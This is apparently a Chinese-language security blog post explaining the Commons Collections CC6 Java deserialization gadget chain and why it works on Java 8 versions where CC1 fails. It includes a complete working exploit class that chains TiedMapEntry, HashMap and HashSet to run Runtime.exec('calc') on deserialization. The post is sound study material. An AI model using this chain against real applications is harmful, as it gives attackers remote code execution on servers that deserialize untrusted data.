本文最后更新于:2024年10月9日 晚上
CC6链:解决高版本Java8中CC1失效的问题
在Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了。这里提供一个高版本的sun
包源码下载地址 ,改变后发现原来的CC1就无法弹计算器了。
在项目源码中可以看到,仍然使用LazyMap
作为入口,只不过上层调用变了
项目使用的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
⽅法中调⽤了this.map.get
,我们注意这里的map就需要是我们构造的LazyMap 。那么如何构造TiedMapEntry
实例呢,可以看它的构造函数,直接将我们的LazyMap
和随便一个key传入即可构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object getValue () { return map.get(key); }public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
然后在多个函数中调用了getValue
方法,但是ysoserial
选择的是hashCode()
方法,注释也说明了这个方法是MapEntry#hashCode
接口的实现,用于返回value的hash值。
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
然后使用了HashMap
的hash
方法去触发,可以发现是key.hashCode()
,说明我们的payload应该作为key
,我们目前构造了TiedMapEntry
实例,那么我们下一步就是将其作为key
去新构造一个hashMap
实例。 然后put
方法对hash
进行了调用。
1 2 3 4 5 6 7 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
最后顶层是HashSet
的readObject
作为入口,反序列化漏洞大都存在于某个类的readObject
中,分析到目前我有一个感受就是,更像是两边向中间衍生,然后刚好链接在一起就出现了漏洞。
1 2 3 4 5 6 for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); }
分析到这里可以写出Exp的内容了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class CC6 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] fakeFormer = new Transformer []{new ConstantTransformer (1 )}; Transformer[] tfs = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), new ConstantTransformer (1 ) }; Transformer transformerChain = new ChainedTransformer (fakeFormer); Map lazyMap = LazyMap.decorate(new HashMap <>(),transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"key" ); Map tiedMap = new HashMap <>(); tiedMap.put(tiedMapEntry,"Exp" ); HashSet hashSet = new HashSet (1 ); hashSet.add(tiedMap); lazyMap.remove("key" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, tfs); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(hashSet); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); } }
这其中有个非常关键的代码lazyMap.remove("key");
, 为什么要移除,看到LazyMap.get()
的代码:
存在一个是否含有键值的判断,而我们的key在构造TiedMapEntry
的时候就被固定下来了,除非你用反射去修改,但是没有必要,直接在lazyMap
中把key
的键值对给去除就行 。
最后捋一捋,
LazyMap
作为CC6的一个转折点,往下已经分析过多次。
往上走,使用LazyMap
构造了一个TiedMapEntry
实例,目的是为了使用LazyMap.get()
再用TiedMapEntry
作为了一个新的HashMap
的key
值,目的是为了触发key.hashCode()
最后用HashSet
包裹,目的是为了使用其readObject
方法来触发map.put()
,从而进入hash(key)->key.hashCode()
直接拉取代码测试